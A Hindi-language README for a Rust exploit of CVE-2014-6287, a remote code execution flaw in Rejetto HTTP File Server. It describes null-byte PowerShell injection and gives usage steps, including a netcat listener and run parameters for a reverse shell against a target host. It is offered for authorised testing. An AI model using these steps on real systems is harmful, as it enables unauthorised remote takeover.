CVE-2014-6287 - Rejetto HTTP File Server RCE शोषण

CVE-2014-6287 शोषण का एक Rust कार्यान्वयन जो Rejetto HTTP File Server (HFS) के संस्करण 2.3x (2.3c से पहले) को लक्षित करता है।

भेद्यता अवलोकन

CVE-2014-6287 Rejetto HTTP File Server (HFS) में एक गंभीर दूरस्थ कोड निष्पादन भेद्यता है।

तकनीकी विवरण

• प्रभावित सॉफ़्टवेयर: Rejetto HTTP File Server (HFS) 2.3x before 2.3c
• भेद्यता प्रकार: दूरस्थ कोड निष्पादन (RCE)
• CVSS स्कोर: 10.0 (गंभीर)
• CWE: CWE-94 (कोड उत्पादन का अनुचित नियंत्रण)

विवरण

Rejetto HTTP File Server में parserLib.pas में findMacroMarker फ़ंक्शन दूरस्थ हमलावरों को एक खोज क्रिया में %00 अनुक्रम के माध्यम से मनमाने प्रोग्राम निष्पादित करने की अनुमति देता है। यह भेद्यता हमलावरों को इनपुट सत्यापन को बायपास करने और दुर्भावनापूर्ण कोड इंजेक्ट करने में सक्षम बनाती है जो लक्ष्य सिस्टम पर निष्पादित होता है।

शोषण निम्नलिखित तरीके से काम करता है:

1. एक शून्य बाइट (%00) युक्त दुर्भावनापूर्ण खोज क्वेरी तैयार करना
2. मैक्रो डिलीमीटर {. और .} के भीतर PowerShell कमांड इंजेक्ट करना
3. सर्वर मैक्रो को प्रोसेस करता है और एम्बेडेड PowerShell कोड को निष्पादित करता है
4. हमलावर के पास वापस एक रिवर्स शेल कनेक्शन स्थापित करना

उपयोग

चरण 1: Netcat लिसनर सेट अप करें

शोषण को निष्पादित करने से पहले, अपनी हमलावर मशीन पर रिवर्स शेल को पकड़ने के लिए एक लिसनर सेट अप करें:

# Replace <LPORT> with your desired listening port
nc -lvnp <LPORT>

चरण 2: शोषण निष्पादित करें

cargo run -- -l <LHOST> -p <LPORT> -r <RHOST> [-t <RPORT>]

आवश्यक पैरामीटर:

• -l, --lhost <LHOST>: आपका स्थानीय IP पता (हमलावर मशीन)
• -p, --lport <LPORT>: रिवर्स शेल के लिए आपका स्थानीय पोर्ट
• -r, --rhost <RHOST>: लक्ष्य IP पता (कमजोर HFS सर्वर)

वैकल्पिक पैरामीटर:

• -t, --rport <RPORT>: लक्ष्य पोर्ट (डिफ़ॉल्ट: 80)

अस्वीकरण

यह उपकरण केवल शैक्षिक और अधिकृत पैठ परीक्षण उद्देश्यों के लिए है। जिम्मेदारी से उपयोग करें और केवल उन सिस्टमों पर जिनके आप मालिक हैं या जिनके लिए आपके पास स्पष्ट अनुमति